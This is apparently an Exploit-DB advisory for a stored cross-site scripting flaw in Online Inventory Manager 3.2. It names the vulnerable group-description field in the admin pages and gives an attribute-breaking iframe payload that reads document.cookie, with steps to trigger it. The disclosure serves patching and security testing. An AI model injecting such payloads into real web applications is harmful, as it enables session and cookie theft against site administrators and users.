Online Inventory Manager 3.2 - Persistent Cross-Site Scripting

Author: Cemal Cihad ÇİFTÇİ
type: webapps
platform: php
port: 
date_added: 2019-11-29  
date_updated: 2019-11-29  
verified: 0  
codes:   
tags: Cross-Site Scripting (XSS)  
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comonline-inventory-manager-3.2.zip  

raw file: 47725.txt  

# Exploit Title: Online Inventory Manager 3.2 - Persistent Cross-Site Scripting
# Date: 2019-11-29
# Exploit Author: Cemal Cihad ÇİFTÇİ
# Vendor Homepage: https://bigprof.com
# Software Link : https://bigprof.com/appgini/applications/online-inventory-manager
# Software : Online Inventory Manager
# Version : 3.2
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# Tested on: Windows 10 Pro

# Stored XSS has been discovered in the Online Inventory Manager created by bigprof/AppGini
# editgroups section. In editgroups section
# (http://localhost/inventory/admin/pageEditGroup.php?groupID=1).

# Payload i used:
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>"

# POC: http://localhost/inventory/admin/pageViewGroups.php in this
# url you can edit the groups information with pressing onto the group name. After the edit page open
# you can enter your payload into the description field. After going back to
# the groups page you will see your Javascript code gonna run.
# This vulnerability is also exist while you are creating a new group.